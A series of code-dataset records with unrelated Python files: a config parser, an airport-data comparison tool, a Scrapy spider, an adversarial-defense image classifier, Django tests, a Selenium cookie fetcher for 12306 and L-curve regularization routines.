------------------------- -------------------\n - 1: integer integer\n - 2: float float\n - 3: triad triad \n - 4: text text\n - 5: coordinates coordinates object\n - 6: colour values colour tuple\n - 7: user print format\t python print format string\n \n \"\"\"\n \n lista = self.items(seccion)\n retorno = []\n \n for contador, i in enumerate(self.parameters):\n # Check for variable in section\n if not(self.has_option(seccion, i[0])):\n # Variable not in section. Compose error message\n message = EIDESystem.errorTexts.errorTextReturn(\n '0010', [i[0], seccion])\n raise Exception(message)\n\n\n # Check each contents according to type\n if i[1] == 1:\n # Integer\n try:\n self.getint(seccion, lista[contador][0])\n retorno.append((lista[contador][0],\n self.getint(seccion, lista[contador][0])))\n\n except ValueError:\n message = EIDESystem.errorTexts.errorTextReturn(\n '0040', [self.fichero, seccion, i[0]])\n raise Exception(message)\n except:\n message = EIDESystem.errorTexts.errorTextReturn(\n '0000', \"\")\n raise Exception(message)\n\n\n elif i[1] == 2:\n # Float\n try:\n self.getfloat(seccion, lista[contador][0])\n retorno.append((lista[contador][0],self.getfloat(seccion,\n lista[contador][0])))\n\n except ValueError:\n message = EIDESystem.errorTexts.errorTextReturn(\n '0050', [self.fichero, seccion, i[0]])\n raise Exception(message)\n\n except:\n message = EIDESystem.errorTexts.errorTextReturn(\n '0000', \"\")\n raise Exception(message)\n\n\n elif i[1] == 3: \n # Field is a 'triad': test it for consistency (has to\n # have three fields; last one a valid corner\n # designation)\n x = self.get(seccion, lista[contador][0])\n try:\n y = EIDESystem.triad1(x.split(\",\")[0],\n x.split(\",\")[1], x.split(\",\")[2])\n y.test()\n retorno.append((lista[contador][0],\n self.get(seccion, lista[contador][0])))\n\n except IndexError:\n message = EIDESystem.errorTexts.errorTextReturn(\n '0100', [self.fichero, seccion, i[0]])\n raise Exception(message)\n\n except ReferenceError:\n message = EIDESystem.errorTexts.errorTextReturn(\n '0021', [self.fichero, seccion, i[0]])\n raise Exception(message)\n \n\n elif i[1] == 4:\n # Field is a text. No test.\n retorno.append((lista[contador][0], self.get(seccion,\n lista[contador][0])))\n\n\n elif i[1] == 5:\n # Coordinates (two integers)\n x = self.get(seccion, lista[contador][0])\n try:\n y = EIDESystem.coordinates(x.split(\",\")[0],\n x.split(\",\")[1])\n retorno.append((lista[contador][0],\n self.get(seccion, lista[contador][0])))\n\n except ValueError:\n message = EIDESystem.errorTexts.errorTextReturn(\n '0051', [self.fichero, seccion, i[0]])\n raise Exception(message)\n\n except IndexError:\n message = EIDESystem.errorTexts.errorTextReturn(\n '0100', [self.fichero, seccion, i[0]])\n raise Exception(message)\n \n\n elif i[1] == 6:\n # RGB color\n try:\n rgb = self.get(seccion, lista[contador][0]).split(\",\")\n color = tuple(map(int, rgb))\n for j in color:\n if j < 0 or j > 255:\n raise ValueError\n retorno.append((lista[contador][0], color))\n\n except ValueError:\n message = EIDESystem.errorTexts.errorTextReturn(\n '0080', [self.fichero, seccion, i[0]])\n raise Exception(message)\n \n\n elif i[1] == 7:\n # User print (decimals) format\n retorno.append((lista[contador][0], self.get(seccion, lista[contador][0])))\n\n # Test format for consistency ('0' .. '0.000')\n try:\n y = EIDESystem.formatoText(self.get(seccion,\n lista[contador][0]))\n y.test()\n\n except ValueError:\n message = EIDESystem.errorTexts.errorTextReturn(\n '0110', [self.fichero, seccion, i[0]])\n raise Exception(message)\n \n return retorno\n\n############################### EIDEParser end #####################\n\n\n","sub_path":"EIDEGraphics/EIDEParser.py","file_name":"EIDEParser.py","file_ext":"py","file_size_in_byte":7737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"352769176","text":"# -*- coding:utf-8 -*-\nimport csv\nimport datetime\nimport logging\nimport math\n\nlogfile_prefix = 'ARP'\n\ninfile_folder = 'infile'\noutfile_folder = 'outfile'\nlogfile_folder = 'log'\nlast_version = '8229'\n\n\ndef init_oag_location(file_path='infile/oag_loc.txt'):\n global dic_oag_location\n with open(file_path, 'r') as fin:\n for line in fin.readlines():\n if line.strip() and line[7] != ' ':\n arp = line[:3]\n latitude_list = line[94:102].split('.')\n latitude_list = [int(latitude_list[0]), int(latitude_list[1]), int(latitude_list[2]), line[102]]\n longitude_list = line[103:112].split('.')\n longitude_list = [int(longitude_list[0]), int(longitude_list[1]), int(longitude_list[2]), line[112]]\n location_name = line[8:47].strip()\n if location_name == '':\n location_name = arp\n dic_oag_location[arp] = [(line[47:49] + line[92:94]),\n latitude_list, longitude_list,\n (line[6], line[7]), location_name]\n\n\ndef init_af_airport(file_path_1='infile/airports.ids', file_path_2='infile/airportexception.ids'):\n global dic_af_airport\n with open(file_path_1, 'r') as fin:\n reader = csv.reader(fin, delimiter='#')\n for row in reader:\n if row[-1] == '32767':\n latitude_ = row[3][0]\n latitude_str = row[3][1:-1]\n longitude_ = row[4][0]\n longitude_str = row[4][1:-1]\n latitude_list = latitude_str.replace('null', '0').split(';')\n latitude_list = [int(latitude_list[0]), int(latitude_list[1]), int(latitude_list[2]), latitude_]\n longitude_list = longitude_str.replace('null', '0').split(';')\n longitude_list = [int(longitude_list[0]), int(longitude_list[1]), int(longitude_list[2]), longitude_]\n dic_af_airport[row[0]] = ['', latitude_list, longitude_list, row]\n with open(file_path_2, 'r') as fin:\n reader = csv.reader(fin, delimiter='#')\n for row in reader:\n if row[-1] == '32767':\n dic_af_airport[row[0]][0] = row[5]\n dic_af_airport[row[0]].append(row)\n\n\ndef init_oag_dst(file_path='infile/oag_dst.dat'):\n global dic_oag_dst\n with open(file_path, 'r') as fin:\n for line in fin.readlines():\n std_offset_h = int(line[7:9])\n std_offset_m = int(line[9:11])\n std_offset_minutes = std_offset_h * 60 + std_offset_m\n if line[6] == '-':\n std_offset_minutes = -std_offset_minutes\n dic_oag_dst[line[:4]] = std_offset_minutes\n\n\ndef init_omis_airport(file_path='infile/omis-airport.csv'):\n global dic_omis_airport\n with open(file_path, 'r') as fin:\n reader = csv.reader(fin)\n next(reader)\n for row in reader:\n if row[2] != '':\n m_s = row[2][1:]\n if len(m_s) == 2:\n std_offset_h = int(m_s[0:2])\n std_offset_m = 0\n elif len(m_s) == 5:\n std_offset_h = int(m_s[0:2])\n std_offset_m = int(m_s[3:5])\n else:\n dic_omis_airport[row[3]] = (0, row[1], row[2], None, row[5])\n continue\n std_offset_minutes = std_offset_h * 60 + std_offset_m\n if row[2][0] == 'W':\n std_offset_minutes = -std_offset_minutes\n dic_omis_airport[row[3]] = (1, row[1], row[2], std_offset_minutes, row[5])\n else:\n dic_omis_airport[row[3]] = (0, row[1], row[2], None, row[5])\n\n\ndef init_apg_airport(file_path='infile/apg_airport.csv'):\n global dic_apg_airport\n with open(file_path, 'r') as fin:\n reader = csv.reader(fin)\n next(reader)\n for row in reader:\n # print(row)\n arp = row[0]\n arp_name = row[1]\n country_code = row[6]\n latitude_float = float(row[10]) if row[10] != '' else 0\n latitude_ = 'N' if latitude_float >=0 else 'S'\n latitude_o = abs(latitude_float)\n latitude_o, latitude_1 = math.modf(latitude_o)\n latitude_o, latitude_2 = math.modf(latitude_o * 60)\n latitude_o, latitude_3 = math.modf(latitude_o * 60)\n latitude_list = [int(latitude_1), int(latitude_2), int(latitude_3), latitude_]\n longitude_float = float(row[11]) if row[11] != '' else 0\n longitude_ = 'E' if longitude_float >= 0 else 'W'\n longitude_o = abs(longitude_float)\n longitude_o, longitude_1 = math.modf(longitude_o)\n longitude_o, longitude_2 = math.modf(longitude_o * 60)\n longitude_o, longitude_3 = math.modf(longitude_o * 60)\n longitude_list = [int(longitude_1), int(longitude_2), int(longitude_3), longitude_]\n dic_apg_airport[arp] = [country_code, latitude_list, longitude_list, arp_name, row]\n\ndef show_dic(dic):\n for k, v in dic.items():\n print('%s: %s' % (k, v))\n\n\ndef compare_oag_af_arp():\n af_arp_output_list = []\n af_arpexcp_output_list = []\n oag_arp_list = dic_oag_location.keys()\n af_arp_list = list(dic_af_airport.keys())\n af_arp_list.sort()\n common_list = list(set(oag_arp_list).intersection(set(af_arp_list)))\n common_list.sort()\n only_oag_list = list(set(oag_arp_list).difference(set(af_arp_list)))\n only_oag_list.sort()\n only_af_list = list(set(af_arp_list).difference(set(oag_arp_list)))\n only_af_list.sort()\n\n for arp in af_arp_list:\n af_info = dic_af_airport[arp]\n af_timezone = af_info[0]\n af_country_code = af_timezone[:2]\n af_latitude = af_info[1]\n af_longitude = af_info[2]\n af_arp_output = af_info[3].copy()\n if arp in common_list:\n oag_info = dic_oag_location[arp]\n oag_timezone = oag_info[0]\n oag_country_code = oag_timezone[:2]\n oag_latitude = oag_info[1]\n oag_longitude = oag_info[2]\n oag_arp_name = oag_info[4]\n if len(af_info) == 5:\n af_arpexcp_output = af_info[4].copy()\n else:\n logger.info('Fill Blank Timezone: %s' %af_info)\n af_arpexcp_output = [arp, '010170', '00:00', '311258', '23:59', oag_timezone, last_version, '32767']\n if oag_timezone != af_timezone:\n if oag_country_code != af_country_code:\n logger.info('Country Diff %s:%sOAG:%s%sAF: %s' %(arp, '\\n'+' '*32, oag_info, '\\n'+' '*32, af_info))\n af_arp_output[2] = oag_country_code\n if af_timezone != '':\n af_arp_output[1] = oag_arp_name.upper()\n else:\n logger.info('TimeZone Diff %s:%sOAG:%s%sAF: %s' % (arp, '\\n'+' '*32, oag_info, '\\n'+' '*32, af_info))\n af_arpexcp_output[5] = oag_timezone\n logger.info('AF Revised to: %s' % af_arp_output)\n if oag_latitude != af_latitude:\n oag_latitude_int = oag_latitude[0]*100 + oag_latitude[1]\n af_latitude_int = af_latitude[0]*100 + af_latitude[1]\n if abs(oag_latitude_int - af_latitude_int) <= 50:\n logger.debug('Latitude Diff %s: OAG:%s AF:%s' % (arp, oag_latitude, af_latitude))\n else:\n logger.info('Latitude Diff %s: OAG:%s AF:%s' % (arp, oag_latitude, af_latitude))\n latitude_str = '%s%d;%d;%d;' % (oag_latitude[-1], oag_latitude[0], oag_latitude[1], oag_latitude[2])\n af_arp_output[3] = latitude_str\n logger.debug('AF Revised to: %s' % af_arp_output)\n if oag_longitude != af_longitude:\n oag_longitude_int = oag_longitude[0]*100 + oag_longitude[1]\n af_longitude_int = af_longitude[0]*100 + af_longitude[1]\n if abs(oag_longitude_int - af_longitude_int) <= 50:\n logger.debug('Latitude Diff %s: OAG:%s AF:%s' % (arp, oag_longitude, af_longitude))\n else:\n logger.info('Latitude Diff %s: OAG:%s AF:%s' % (arp, oag_longitude, af_longitude))\n longitude_str = \"%s%d;%d;%d;\" % (oag_longitude[-1], oag_longitude[0], oag_longitude[1], oag_longitude[2])\n af_arp_output[4] = longitude_str\n logger.debug('AF Revised to: %s' % af_arp_output)\n af_arp_output_list.append(bytes(('#'.join(af_arp_output) + '\\n'), encoding='utf-8'))\n af_arpexcp_output_list.append(bytes(('#'.join(af_arpexcp_output) + '\\n'), encoding='utf-8'))\n else:\n af_arp_output_list.append(bytes(('#'.join(af_arp_output) + '\\n'), encoding='utf-8'))\n if len(af_info) == 5:\n af_arpexcp_output = af_info[4].copy()\n af_arpexcp_output_list.append(bytes(('#'.join(af_arpexcp_output) + '\\n'), encoding='utf-8'))\n\n for arp in only_oag_list:\n oag_info = dic_oag_location[arp]\n oag_timezone = oag_info[0]\n oag_country_code = oag_timezone[:2]\n oag_latitude = oag_info[1]\n oag_longitude = oag_info[2]\n oag_arp_name = oag_info[4]\n af_arp_output = [arp, '', '', '', '', '-', last_version, '32767']\n af_arp_output[1] = oag_arp_name.upper()\n af_arp_output[2] = oag_country_code\n latitude_str = '%s%d;%d;%d;' % (oag_latitude[-1], oag_latitude[0], oag_latitude[1], oag_latitude[2])\n af_arp_output[3] = latitude_str\n longitude_str = \"%s%d;%d;%d;\" % (oag_longitude[-1], oag_longitude[0], oag_longitude[1], oag_longitude[2])\n af_arp_output[4] = longitude_str\n af_arpexcp_output = [arp, '010170', '00:00', '311258', '23:59', oag_timezone, last_version, '32767']\n logger.info('Add Airport %s from OAG to AF: %s %s' % (arp, af_arp_output, af_arpexcp_output))\n af_arp_output_list.append(bytes(('#'.join(af_arp_output) + '\\n'), encoding='utf-8'))\n af_arpexcp_output_list.append(bytes(('#'.join(af_arpexcp_output) + '\\n'), encoding='utf-8'))\n out1, out2 = af_arp_output_list, af_arpexcp_output_list\n write_results(out1, 'airports.ids')\n write_results(out2, 'airportexception.ids')\n\n\ndef compare_oag_apg_arp():\n oag_arp_list = dic_oag_location.keys()\n apg_arp_list = dic_apg_airport.keys()\n common_list = list(set(oag_arp_list).intersection(set(apg_arp_list)))\n common_list.sort()\n only_oag_list = list(set(oag_arp_list).difference(set(apg_arp_list)))\n only_oag_list.sort()\n only_apg_list = list(set(apg_arp_list).difference(set(oag_arp_list)))\n only_apg_list.sort()\n\n for arp in common_list:\n oag_info = dic_oag_location[arp]\n oag_timezone = oag_info[0]\n oag_country_code = oag_timezone[:2]\n oag_latitude = oag_info[1]\n oag_longitude = oag_info[2]\n oag_arp_name = oag_info[4]\n apg_info = dic_apg_airport[arp]\n apg_country_code = apg_info[0]\n apg_latitude = apg_info[1]\n apg_longitude = apg_info[2]\n apg_arp_name = apg_info[3]\n if oag_country_code != apg_country_code:\n print('Country Diff, %s,OAG,%s,%s,,APG,%s,%s' %(arp, oag_country_code, oag_arp_name, apg_country_code, apg_arp_name))\n # oag_latitude_int = oag_latitude[0] * 100 + oag_latitude[1]\n # apg_latitude_int = apg_latitude[0] * 100 + apg_latitude[1]\n # if abs(oag_latitude_int - apg_latitude_int) > 50:\n # print('Latitude Diff: %s OAG:%s APG:%s' %(arp, oag_latitude, apg_latitude ))\n # oag_longitude_int = oag_longitude[0] * 100 + oag_longitude[1]\n # apg_longitude_int = apg_longitude[0] * 100 + apg_longitude[1]\n # if abs(oag_longitude_int - apg_longitude_int) > 50:\n # print('Longitude Diff: %s OAG:%s APG:%s' %(arp, oag_longitude, apg_longitude))\n\n print(only_apg_list)\n\ndef diff(listA, listB):\n # 求交集的两种方式\n retA = [i for i in listA if i in listB]\n retB = list(set(listA).intersection(set(listB)))\n\n print(\"retA is: \", retA)\n print(\"retB is: \", retB)\n\n # 求并集\n retC = list(set(listA).union(set(listB)))\n print(\"retC is: \", retC)\n\n # 求差集,在B中但不在A中\n retD = list(set(listB).difference(set(listA)))\n print(\"retD is: \", retD)\n\n retE = [i for i in listB if i not in listA]\n print(\"retE is: \", retE)\n\n\ndef write_results(output_content_lists, file_name):\n file_folder = outfile_folder\n file_path = '%s/%s' % (file_folder, file_name)\n logger.info('Start writing ' + file_path)\n with open(file_path, 'wb') as fout:\n fout.writelines(output_content_lists)\n logger.info('Finish writing' + file_path)\n\n\ndef set_logger(logger_name, logfile_path=None):\n current_time = datetime.datetime.now().strftime('%Y-%m-%d_%H-%M-%S')\n if logfile_path is None:\n logfile_path = '%s/%s_%s.log' % (logfile_folder, logfile_prefix, current_time)\n logger = logging.getLogger(logger_name)\n logger.setLevel(logging.DEBUG)\n fh = logging.FileHandler(logfile_path)\n fh.setLevel(logging.DEBUG)\n ch = logging.StreamHandler()\n ch.setLevel(logging.INFO)\n formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')\n fh.setFormatter(formatter)\n ch.setFormatter(formatter)\n logger.addHandler(fh)\n logger.addHandler(ch)\n logger.info('Log file: %s' % logfile_path)\n return logger\n\n\ndef main():\n init_oag_location()\n init_af_airport()\n # init_apg_airport()\n # show_dic(dic_oag_location)\n # show_dic(dic_af_airport)\n compare_oag_af_arp()\n # show_dic(dic_apg_airport)\n # compare_oag_apg_arp()\n\n\ndic_oag_location = {}\ndic_oag_dst = {}\ndic_af_airport = {}\ndic_omis_airport = {}\ndic_apg_airport = {}\n\nlogger = logging.getLogger('arp_logger')\n\n\nif __name__ == '__main__':\n set_logger('arp_logger')\n main()\n","sub_path":"AirChina/AVPS/airport.py","file_name":"airport.py","file_ext":"py","file_size_in_byte":13970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"366364737","text":"import scrapy\nimport re\nimport json\n\nfrom City58.TypeItem import FilterItems\n\n# 该爬虫主要得到所有的职业类型\nclass CitytypeSpider(scrapy.Spider):\n\tname = 'cityType'\n\tallowed_domains = ['bj.58.com']\n\tstart_urls = []\n\n\n\t# 正则匹配钩子\n\treHook = {\n\t\t# group(4)\n\t\t'pnLink' : r'(http|https)://(.+)/(pn(\\d+?))/.*',\n\t\t# group(3)\n\t\t'subLink' : r'(http|https)://(.+)/(.+/).*',\n\t}\n\n\tdef __init__(self):\n\t\tprint(\">> cityType.spider\")\n\t\tself.filterItems = FilterItems\n\n\t\tself.rootURL = \"http://bj.58.com/\"\n\t\tself.subURL = self.filterItems[0]['subLink']\n\n\t\tself._next_url = self.rootURL + self.subURL\n\t\tself.start_urls = [ self._next_url ]\n\t\t\n\tdef parse(self, response):\n\t\told = self.filterItems\n\t\told.extend(self.getFilterItem(response))\n\t\tprint(newItems)\n\n\t\t# 测试\n\t\tfs = open('type.json', 'w')\n\t\tfs.write('{\"data\":')\n\t\tfs.write(json.dumps(newItems))\n\t\tfs.write('}')\n\t\tfs.close()\n\n\n\tdef getFilterItem(self, response):\n\t\tfilters = response.xpath(\"//div[@class='filter_item'][1]/ul/li[not(@class='select')]\")\n\t\tfItems = []\n\t\tfor f in filters:\n\t\t\tdic = {}\n\t\t\tlink = f.xpath(\"./a/@href\").extract()[0]\n\t\t\tdic['type'] = f.xpath(\"./a/text()\").extract()[0]\n\t\t\tdic['subLink'] = re.search(self.reHook['subLink'], link).group(3)\n\t\t\tfItems.append(dic)\n\n\t\treturn fItems","sub_path":"python-scrapy-City58/City58/spiders/cityType.py","file_name":"cityType.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"196065441","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport sys\n\nimport numpy as np\n\nimport argparse\nimport keras\nfrom keras.models import load_model\n\nfrom utils import load_images, custom_object_scope, ensemble\nif __name__ == '__main__':\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument('--input_dir', type=str, required=True, help='Input directory with images.')\n parser.add_argument('--output_file', type=str, required=True, help='Output file to save labels.')\n args = parser.parse_args()\n\n batch_size = 2\n image_height = 299\n image_width = 299\n nb_channels = 3\n \n batch_shape = [100, image_height, image_width, nb_channels]\n num_classes = 1000\n \n with custom_object_scope():\n adv_inception_resnet_v2 = load_model('models/adv_inception_resnet_v2.model', compile=False)\n adv_inception_v3 = load_model('models/adv_inception_v3.model', compile=False)\n\n inception_resnet_v2 = load_model('models/inception_resnet_v2.model', compile=False)\n inception_v3 = load_model('models/inception_v3.model', compile=False)\n resnet50 = load_model('models/resnet50.model', compile=False)\n vgg16 = load_model('models/vgg16.model', compile=False)\n vgg19 = load_model('models/vgg19.model', compile=False)\n xception = load_model('models/xception.model', compile=False)\n \n white_box_models = [adv_inception_resnet_v2, \n adv_inception_v3,\n inception_resnet_v2,\n inception_v3,\n vgg16,\n vgg19,\n xception,\n resnet50\n ]\n \n voting_model = ensemble(white_box_models, logits=True)\n \n with open(args.output_file, 'w') as f:\n for filenames, images in load_images(args.input_dir, batch_shape):\n logits = voting_model.predict(images, batch_size=batch_size, verbose=1)\n labels = np.argmax(logits, axis=-1) + 1\n\n\n for filename, label in zip(filenames, labels):\n f.write('{},{}\\n'.format(filename, label))\n","sub_path":"defence/defense.py","file_name":"defense.py","file_ext":"py","file_size_in_byte":2109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"373660887","text":"from app.home.dao.NewsDao import queryNews\r\n\r\n\r\ndef queryAll():\r\n \"\"\"\r\n 返回父系列,以及对应的子系列\r\n \"\"\"\r\n results = queryNews()\r\n return results\r\n\r\n\r\nif __name__ == '__main__':\r\n a = queryAll()\r\n print(type(a))\r\n for item in a:\r\n print(item.content)\r\n # import json\r\n # list1=[]\r\n # list1.append(1)\r\n # list1.append(2)\r\n # list1.append(3)\r\n # jsonstr=json.dumps(list1)\r\n # print(jsonstr)\r\n","sub_path":"bxcf/app/home/service/NewsService.py","file_name":"NewsService.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"359342526","text":"from __future__ import absolute_import\n\nfrom datetime import datetime\n\nfrom django.test import TestCase\n\nfrom .models import Article, Person\n\n\nclass LatestTests(TestCase):\n def test_first(self):\n # Because no Articles exist yet, first() raises ArticleDoesNotExist.\n self.assertRaises(Article.DoesNotExist, Article.objects.first)\n\n a1 = Article.objects.create(\n headline=\"Article 1\", pub_date=datetime(2005, 7, 26),\n expire_date=datetime(2005, 9, 1)\n )\n a2 = Article.objects.create(\n headline=\"Article 2\", pub_date=datetime(2005, 7, 27),\n expire_date=datetime(2005, 7, 28)\n )\n a3 = Article.objects.create(\n headline=\"Article 3\", pub_date=datetime(2005, 7, 28),\n expire_date=datetime(2005, 8, 27)\n )\n a4 = Article.objects.create(\n headline=\"Article 4\", pub_date=datetime(2005, 7, 28),\n expire_date=datetime(2005, 7, 30)\n )\n\n # Get the first Article.\n self.assertEqual(Article.objects.first(), a1)\n # Get the first Article that matches certain filters.\n self.assertEqual(\n Article.objects.filter(pub_date__gt=datetime(2005, 7, 26)).first(),\n a2\n )\n\n # Pass a custom field name to first() to change the field that's used\n # to determine the first object.\n self.assertEqual(Article.objects.first('expire_date'), a2)\n self.assertEqual(\n Article.objects.filter(pub_date__gt=datetime(2005, 7, 26)).first('expire_date'),\n a2,\n )\n\n # Ensure that first() overrides any other ordering specified on the query. Refs #11283.\n self.assertEqual(Article.objects.order_by('id').first(), a1)\n\n def test_latest(self):\n # Because no Articles exist yet, latest() raises ArticleDoesNotExist.\n self.assertRaises(Article.DoesNotExist, Article.objects.latest)\n\n a1 = Article.objects.create(\n headline=\"Article 1\", pub_date=datetime(2005, 7, 26),\n expire_date=datetime(2005, 9, 1)\n )\n a2 = Article.objects.create(\n headline=\"Article 2\", pub_date=datetime(2005, 7, 27),\n expire_date=datetime(2005, 7, 28)\n )\n a3 = Article.objects.create(\n headline=\"Article 3\", pub_date=datetime(2005, 7, 27),\n expire_date=datetime(2005, 8, 27)\n )\n a4 = Article.objects.create(\n headline=\"Article 4\", pub_date=datetime(2005, 7, 28),\n expire_date=datetime(2005, 7, 30)\n )\n\n # Get the latest Article.\n self.assertEqual(Article.objects.latest(), a4)\n # Get the latest Article that matches certain filters.\n self.assertEqual(\n Article.objects.filter(pub_date__lt=datetime(2005, 7, 27)).latest(),\n a1\n )\n\n # Pass a custom field name to latest() to change the field that's used\n # to determine the latest object.\n self.assertEqual(Article.objects.latest('expire_date'), a1)\n self.assertEqual(\n Article.objects.filter(pub_date__gt=datetime(2005, 7, 26)).latest('expire_date'),\n a3,\n )\n\n # Ensure that latest() overrides any other ordering specified on the query. Refs #11283.\n self.assertEqual(Article.objects.order_by('id').latest(), a4)\n\n def test_latest_manual(self):\n # You can still use latest() with a model that doesn't have\n # \"get_latest_by\" set -- just pass in the field name manually.\n p1 = Person.objects.create(name=\"Ralph\", birthday=datetime(1950, 1, 1))\n p2 = Person.objects.create(name=\"Stephanie\", birthday=datetime(1960, 2, 3))\n self.assertRaises(AssertionError, Person.objects.latest)\n\n self.assertEqual(Person.objects.latest(\"birthday\"), p2)\n","sub_path":"tests/modeltests/get_latest/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"83660677","text":"import random\nimport os\nimport time\nfrom selenium import webdriver\nfrom net import ips\n\ndef get12306Cookie():\n proxy = random.choice(ips)\n chromeOptions = webdriver.ChromeOptions()\n chromeOptions.add_argument(\"'--proxy-server={}\".format(proxy))\n browser = webdriver.Chrome(chrome_options=chromeOptions, executable_path=os.path.dirname(\n os.path.dirname(os.path.realpath(__file__))) + '/cookie/chromedriver')\n browser.get(\"https://www.12306.cn/index/\")\n flag = False\n res = {}\n while (flag == False):\n cookies = browser.get_cookies()\n for cookie in cookies:\n if cookie['name'] == 'RAIL_DEVICEID':\n res['RAIL_DEVICEID'] = cookie['value']\n flag = True\n elif cookie['name'] == 'RAIL_EXPIRATION':\n res['RAIL_EXPIRATION'] = cookie['value']\n time.sleep(1)\n browser.quit()\n return res\n\n\nif __name__ == '__main__':\n cookies = get12306Cookie()\n print(cookies)\n","sub_path":"train/cookie/getCookie.py","file_name":"getCookie.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"252758440","text":"\"\"\" L-curve regularization parameter finding.\n\nThis set of functions are used to find an optimal regularization parameter\nfor a under determined system of equations. The optimal parameter is found\naccording to the L-curve criteria, described in\n\nDiscrete Inverse Problems - insight and algorithms, Per Christian Hansen,\nTechnical University of Denmark, DTU compute, 2010\n\nThe code was adapted from http://www.imm.dtu.dk/~pcha/Regutools/ by\nPer Christian Hansen, DTU Compute, October 27, 2010 - originally implemented in Matlab\n\nThis version is only for the under determined case.\n\"\"\"\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.io as scio\nfrom scipy import linalg # for svd\nfrom scipy import optimize\nimport warnings\n\ndef curvature(lambd, sig, beta, xi):\n \"\"\" computes the NEGATIVE of the curvature.\n\n Parameters\n ----------\n lambd : float\n regularization parameter\n sig : numpy 1darray\n singular values\n beta: numpy 1darray\n conj(u) @ bm\n xi : numpy 1darray\n beta / sig\n Returns\n -------\n curv : numpy 1darray\n negative curvature\n \"\"\"\n # Initialization.\n phi = np.zeros(lambd.shape)\n dphi = np.zeros(lambd.shape)\n psi = np.zeros(lambd.shape)\n dpsi = np.zeros(lambd.shape)\n eta = np.zeros(lambd.shape)\n rho = np.zeros(lambd.shape)\n if len(beta) > len(sig): # A possible least squares residual.\n LS = True\n rhoLS2 = beta[-1] ** 2\n beta = beta[0:-2]\n else:\n LS = False\n # Compute some intermediate quantities.\n for jl, lam in enumerate(lambd):\n f = np.divide((sig ** 2), (sig ** 2 + lam ** 2)) # ok\n cf = 1 - f # ok\n eta[jl] = np.linalg.norm(f * xi) # ok\n rho[jl] = np.linalg.norm(cf * beta)\n f1 = -2 * f * cf / lam \n f2 = -f1 * (3 - 4*f)/lam\n phi[jl] = np.sum(f*f1*np.abs(xi)**2) #ok\n psi[jl] = np.sum(cf*f1*np.abs(beta)**2)\n dphi[jl] = np.sum((f1**2 + f*f2)*np.abs(xi)**2)\n dpsi[jl] = np.sum((-f1**2 + cf*f2)*np.abs(beta)**2) #ok\n\n if LS: # Take care of a possible least squares residual.\n rho = np.sqrt(rho ** 2 + rhoLS2)\n\n # Now compute the first and second derivatives of eta and rho\n # with respect to lambda;\n deta = np.divide(phi, eta) #ok\n drho = -np.divide(psi, rho)\n ddeta = np.divide(dphi, eta) - deta * np.divide(deta, eta)\n ddrho = -np.divide(dpsi, rho) - drho * np.divide(drho, rho)\n\n # Convert to derivatives of log(eta) and log(rho).\n dlogeta = np.divide(deta, eta)\n dlogrho = np.divide(drho, rho)\n ddlogeta = np.divide(ddeta, eta) - (dlogeta)**2\n ddlogrho = np.divide(ddrho, rho) - (dlogrho)**2\n # curvature.\n curv = - np.divide((dlogrho * ddlogeta - ddlogrho * dlogeta),\n (dlogrho**2 + dlogeta**2)**(1.5))\n return curv\n\ndef l_corner(rho,eta,reg_param,u,sig,bm):\n \"\"\" Computes the corner of the L-curve.\n\n Uses the function \"curvature\"\n\n Parameters\n ----------\n rho : numpy 1darray\n computed in l_curve function (residual norm) - related to curvature\n eta : numpy 1darray\n computed in l_curve function (solution norm) - related to curvature\n reg_param : numpy 1darray\n computed in l_curve function\n u : numpy ndarray\n left singular vectors\n sig : numpy 1darray\n singular values\n bm: numpy 1darray\n your measurement vector (size: Nm x 1)\n Returns\n -------\n reg_c : float\n optimal regularization parameter\n \"\"\"\n # Set threshold for skipping very small singular values in the analysis of a discrete L-curve.\n s_thr = np.finfo(float).eps # Neglect singular values less than s_thr.\n # Set default parameters for treatment of discrete L-curve.\n deg = 2 # Degree of local smooting polynomial.\n q = 2 # Half-width of local smoothing interval.\n order = 4 # Order of fitting 2-D spline curve.\n # Initialization.\n if (len(rho) < order):\n print('I will fail. Too few data points for L-curve analysis')\n Nm, Nu = u.shape\n p = sig.shape\n beta = (np.conj(u)) @ bm \n beta = np.reshape(beta[0:int(p[0])], beta.shape[0])\n b0 = (bm - (beta.T @ u).T)\n xi = np.divide(beta[0:int(p[0])], sig)\n # Call curvature calculator\n curv = curvature(reg_param, sig, beta, xi) # ok\n # Minimize 1\n curv_id = np.argmin(curv)\n x1 = reg_param[int(np.amin([curv_id+1, len(curv)-1]))]\n x2 = reg_param[int(np.amax([curv_id-1, 0]))]\n # x1 = reg_param[int(np.amin([curv_id+1, len(curv)]))]\n # x2 = reg_param[int(np.amax([curv_id-1, 0]))]\n # Minimize 2 - set tolerance first (new versions of scipy need that)\n tolerance = np.amin([x1/50, x2/50, 1e-5])\n reg_c = optimize.fminbound(curvature, x1, x2, args = (sig, beta, xi), xtol=tolerance,\n full_output=False, disp=False)\n kappa_max = - curvature(reg_c, sig, beta, xi) # Maximum curvature.\n if kappa_max < 0:\n lr = len(rho)\n reg_c = reg_param[lr-1]\n rho_c = rho[lr-1]\n eta_c = eta[lr-1]\n else:\n f = np.divide((sig**2), (sig**2 + reg_c**2))\n eta_c = np.linalg.norm(f * xi)\n rho_c = np.linalg.norm((1-f) * beta[0:len(f)])\n if Nm > Nu:\n rho_c = np.sqrt(rho_c ** 2 + np.linalg.norm(b0)**2)\n return reg_c\n\ndef csvd(A):\n \"\"\" Computes the SVD based on the size of A.\n\n 